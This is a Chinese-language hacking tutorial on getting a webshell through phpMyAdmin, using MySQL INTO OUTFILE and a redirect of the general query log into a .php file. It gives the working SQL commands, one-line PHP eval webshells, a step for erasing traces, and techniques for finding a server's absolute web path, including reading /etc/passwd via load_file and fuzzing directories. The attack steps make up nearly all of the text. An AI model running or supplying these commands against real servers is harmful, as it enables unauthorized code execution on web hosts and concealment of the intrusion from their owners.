0x00 前言
來到phpmyadmin頁面后如何getshell呢?下面介紹兩種方法
0x01 select into outfile直接寫入
1、利用條件
-
對web目錄需要有寫權限能夠使用單引號(root)
-
知道網站絕對路徑(phpinfo/php探針/通過報錯等)
-
secure_file_priv沒有具體值
2、查看secure_file_priv值
show global variables like '%secure%';
關於secure_file_priv配置介紹:
secure_file_priv 是用來限制 load dumpfile、into outfile、load_file() 函數在哪個目錄下擁有上傳或者讀取文件的權限
當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許導入|導出,此時無法提權 當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的導入|導出只能發生在 /tmp/ 目錄下,此時也無法提權 當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制,此時可提權
我這里的secure_file_priv值為NULL,所以不能夠導入或導出
secure_file_priv這個值是只讀變量,只能通過配置文件修改。如果管理員沒有配置,那么我們是無法進行寫入shell的,這里我為了測試能否寫入修改一下
在MySQL的配置文件my.ini中進行配置:
修改后secure_file_priv的值如圖所示:
3、寫入一句話
select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'
這里需要注意的一個點是路徑需要用"\\"
查看下根目錄
0x02 利用全局日志寫shell
1、查看配置
查看mysql的日志狀態,默認是關閉的,因為這個日志的量非常大對資源是一個比較大的開銷
general_log_file為日志保存的位置
2、開啟general_log模式
開啟general_log 的作用:開啟它可以記錄用戶輸入的每條命令,會把其保存在C:\phpStudy\MySQL\data\stu1.log的文件中,其實就是我們常說的日志文件
利用思路:開啟general_log之后把general_log_file的值修改為該網站默認路徑下的某一個自定義的php文件中,然后通過log日志進行寫入一句話木馬,然后再進一步利用
這里注意:在修改log路徑前,源路徑一定要提前記錄下來,我們獲取shell后還要恢復原來的路徑
set global general_log = on;
再查看一下日志已經開啟,這時我們就可以通過全局日志寫shell進根目錄
3、修改日志目錄為shell地址
set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php';
4、寫入shell
因為開啟了日志記錄功能,所執行的sql語句都會被記錄在日志中
select '<?php eval($_POST[cmd]);?>'
查看下日志,發現sql語句已經被記錄到了日志中,直接用菜刀或者蟻劍連接即可
5、抹除痕跡
set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log'; set global general_log = off;
再使用日志查看命令發現已經恢復
SHOW VARIABLES LIKE '%general%'
0x03 拓展
這里有一個地方需要注意的是需要寫入到絕對路徑,而在php環境下有許多種得知絕對路徑的方法,以下就簡單拓展幾種
0x03.1 phpinfo頁面
這里是之前在復現帝國cms的getshell漏洞時所需要用到絕對路徑寫入sql語句,這里我先打出了phpinfo界面
F12查看源代碼然后搜索DOCUMENT ROOT得知寫入的絕對路徑
0x03.2 web報錯信息
web報錯信息:可以通過各種fuzz嘗試讓目標報錯,也有可能爆出絕對路徑
0x03.3 一些集成的web框架
如果目標站點是利用phpstudy、LAMPP等之類搭建的,可以通過查看數據庫路徑再拆解web路徑
show variables like '%datadir%';
0x03.4 利用select load_file() 讀取文件找到web路徑
可以嘗試/etc/passwd,apache|nginx|httpd log之類的文件
Trick:如何判斷目錄是否存在,往往確定了/var/www/html目錄,但是還有一層目錄不能 確定,可以采用目標域名+常用的網站根目錄的方式進行爆破,當使用select 'test' into outfile '/var/www/$fuzz$/shell.php';
時目錄fuzzfuzz不存在將會報錯
Can't create/write to file '/var/www/html/666.txt' (Errcode: 2);
如果存在但是目錄寫不進去將返回(Errcode: 13);如果使用的
load data infile "/etc/passwd" into table test;
該語句執行后將也會顯示文件是否存在,有權限能否寫等信息。
0x03.5 其他方法
1.查看數據庫表內容獲取 有一些cms會保存網站配置文件 或者路徑
2.進入后台
3.百度出錯信息 zoomeye shadon 搜索error warning
4. @@datadir參數看mysql路徑 反猜絕對路徑